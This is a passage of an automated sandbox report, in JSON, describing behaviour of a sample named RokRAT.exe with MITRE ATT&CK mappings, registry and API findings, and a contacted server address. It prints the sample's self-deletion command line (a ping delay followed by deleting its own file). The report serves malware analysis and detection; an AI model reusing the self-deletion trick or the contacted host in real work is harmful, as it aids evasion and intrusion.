Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"wscript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00004360)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"RokRAT.exe\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"RokRAT.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"RokRAT.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"PING.EXE\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"RokRAT.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; File: \"RokRAT.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"RokRAT.exe\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"RokRAT.exe\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"RokRAT.exe\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"RokRAT.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Queries system hardware information","description":"\"wscript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\MSSMBIOS\\DATA\"; Key: \"SMBIOSDATA\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-131","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$28","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$29","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"RokRAT.exe\" called \"CreateProcessA\" with parameter \"wscript.exe\" - (UID: 00000000-00002672)\n \"RokRAT.exe\" called \"CreateProcessW\" with parameter \"cmd.exe /C ping 0.1.1.2 -n 1 -w 4000 > nul & del \"C:\\RokRAT.exe\"\" - (UID: 00000000-00002672)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"ping 0.1.1.2 -n 1 -w 4000\" - (UID: 00000000-00007960)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2b","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"74.120.9.89:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"RokRAT.exe\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; File: \"RokRAT.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"RokRAT.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"CreateFileMoniker\" (Indicator: \"CreateFile\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: RokRAT.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"ecmd.exe /C ping 0.1.1.2 -n 1 -w 4000 > nul & del \"%s\"\" (Indicator: \"cmd.exe /c\"; File: \"RokRAT.exe\")\n Found string \"cmd.exe /C ping 0.1.1.2 -n 1 -w 4000 > nul & del \"%s\"\" (Indicator: \"cmd.exe /c\"; File: \"RokRAT.exe\")\n Found string \"cmd.exe /C ping 0.1.1.2 -n 1 -w 4000 > nul & del \"C:\\RokRAT.exe\"\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00002672-00000C41-2433908994\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; File: \"RokRAT.exe\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"RokRAT.exe\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"RokRAT.exe\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"RokRAT.exe\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFile\" (Indicator: \"MoveFile\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"RokRAT.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"RokRAT.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"RokRAT.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"SYSTEM\\CurrentControlSet\\Services\\mssmbios\\Data\" in Source: 00000000-00004360.00000000.67175.00463000.00000002.mdmp\n 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\n \"HARDWARE\\DESCRIPTION\\System\" in Source: 00000000-00004360.00000000.67175.00463000.00000002.mdmp\n 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\n \"Software\\Microsoft\\Windows Script Host\\Settings\" in Source: 00000000-00004360.00000000.67175.00D71000.00000020.mdmp\n \"Software\\Microsoft\\Active Setup\\Installed Components\\{89820200-ECBD-11CF-8B85-00AA005B4383}\" in Source: 00000000-00004360.00000000.67175.00D71000.00000020.mdmp\n \"SOFTWARE\\Classes\\%s\\%s\" in Source: 00000000-00004360.00000000.67175.00D71000.00000020.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\SM0:4360:168:WilStaging_02\"\n \"SM0:4360:168:WilStaging_02\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"RokRAT.exe\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.03120000.00000004.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"RokRAT.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75A50000\n \"wscript.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75A50000\n \"wscript.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73890000\n \"cmd.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75A50000\n \"PING.EXE\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75A50000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"RokRAT.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 761E0000\n \"wscript.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 761E0000\n \"cmd.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 761E0000\n \"PING.EXE\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 761E0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"RokRAT.exe\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"RokRAT.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"RokRAT.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"wscript.exe\" touched \"Shell Extension For Windows Script Host\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{60254CA5-953B-11CF-8C96-00AA00B8708C}\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"RokRAT.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"RokRAT.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"RokRAT.exe\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"RokRAT.exe\" file has an entrypoint instructions - \"call\t0x404291,jmp\t0x401703,mov\tedi, edi,push\tebp,mov\tebp, esp,sub\tesp, 0x328,mov\tdword ptr [0x40d028], eax,mov\tdword ptr [0x40d024], ecx,mov\tdword ptr [0x40d020], edx,mov\tdword ptr [0x40d01c], ebx,mov\tdword ptr [0x40d018], esi,mov\tdword ptr [0x40d014], edi,mov\tword ptr [0x40d040], ss,mov\tword ptr [0x40d034], cs,mov\tword ptr [0x40d010], ds,mov\tword ptr [0x40d00c], es,mov\tword ptr [0x40d008], fs,mov\tword ptr [0x40d004], gs,pushfd\t,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\wscript.exe\" [Source: 00000000-00002672-00000BC0-54467821]\n Observed system executable string:\"%WINDIR%\\SysWOW64\\cmd.exe\" [Source: 00000000-00002672-00000BC0-54712779]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"wscript.exe\" (UID: 00000000-00004360) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"wscript.exe\" (UID: 00000000-00004360) was launched with modified environment variables: 